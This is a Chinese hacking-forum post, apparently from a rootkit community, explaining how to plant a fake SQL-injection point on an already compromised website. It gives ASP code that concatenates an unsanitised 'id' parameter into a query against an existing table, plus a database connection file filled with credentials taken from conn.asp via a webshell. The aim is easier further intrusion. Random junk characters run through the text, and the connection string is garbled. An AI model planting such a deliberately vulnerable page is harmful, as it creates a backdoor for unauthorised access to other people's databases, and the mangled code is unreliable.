自己构造注入点方便入侵
. e M+ V# J) x! c5 u" a4 L; o
) w9 e l0 q/ L2 l1 C今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
; y! o2 E1 P- K( C+ q/ H& o$ L) j& z9 _5 ?3 [7 r
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!8 ?9 t+ \' C) t! ^: h. e, Z
; S2 W% `1 M7 t% b- o
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
( q! c# w, l) D( m1 J" a
9 w ?( G# D2 V; \8 Q密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
; Y: p! Y3 u. M1 U
8 B5 t0 o) K0 g( p因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:1 @4 a, T& ^( w% M# j/ G
$ x. s2 p1 L# k5 P: a. z* Z) I程序代码/ Q) f5 C- i* B! K) z4 j+ N1 g
<!--#include file="xx.asp"-->
1 N# O9 F' L. v# w* t8 x<%
8 L% P& r$ S8 y& i- s: l4 g2 [, Cset rs=server.createobject("ADODB.recordset") y; w( H* o f
id = request("id")6 F" u- d8 o1 n- W7 }6 y
strSQL = "select * from admin where id=" & id
: R N3 i) S4 vrs.open strSQL,conn,1,3 l; a7 W: r, V g2 y- ]: Q( F v
rs.close( _1 }9 Q4 K1 Y& F1 M! F
%>
6 I" T1 H0 ^- f5 _; j: y6 R* |2 _
0 |3 x3 O5 l. Q把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
1 X$ o+ v7 i/ L3 |
# \) u2 c$ ~" {% M你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, H4 u% P- T1 f; z" I( F/ S+ c
) a7 j$ v% v( }+ k2 X, G: A然后就要构造一个连接数据库的文件了,代码如下:# Y5 ] y0 _. s8 Z4 Q, C/ j
程序代码
l" I+ `: \' G, M* r: v4 F<% : Y: c/ G- c9 F$ B L( D! I
strSQLServerName = "000.000.000.000" '服务器名称或地址" i4 L5 e0 ^9 n) N2 V- l
strSQLDBUserName = "sqlname" '数据库帐号
/ e& U+ d8 C- {" Q% estrSQLDBPassword = "sqlpass" '数据库密码, C! k# M& R1 k3 `% t
strSQLDBName = "sqldataname" '数据库名称
5 g- C* O8 G, ~$ A. }# rSet conn = Server.CreateObject("ADODB.Connection")' N( ?, q; F' i# U, i6 s
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
# q; ^6 y, B' M$ u5 h( z, Zconn.open strCon
7 {# H; E0 o; W1 d% o. k7 D: p%>1 V! y# W) {5 Y
4 H ]$ f& D$ K4 C: S3 `) R这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
% p6 c2 q* ~! C2 p" `% j4 G; O9 K; V+ }* u @7 f' a8 U
就这样,正常情况下,就OK了,伪造成功……- H0 U! K. P) O' E7 l: J
0 d. v c6 |$ K( W
如果有什么问题可以提出来大家一起探讨解决。 |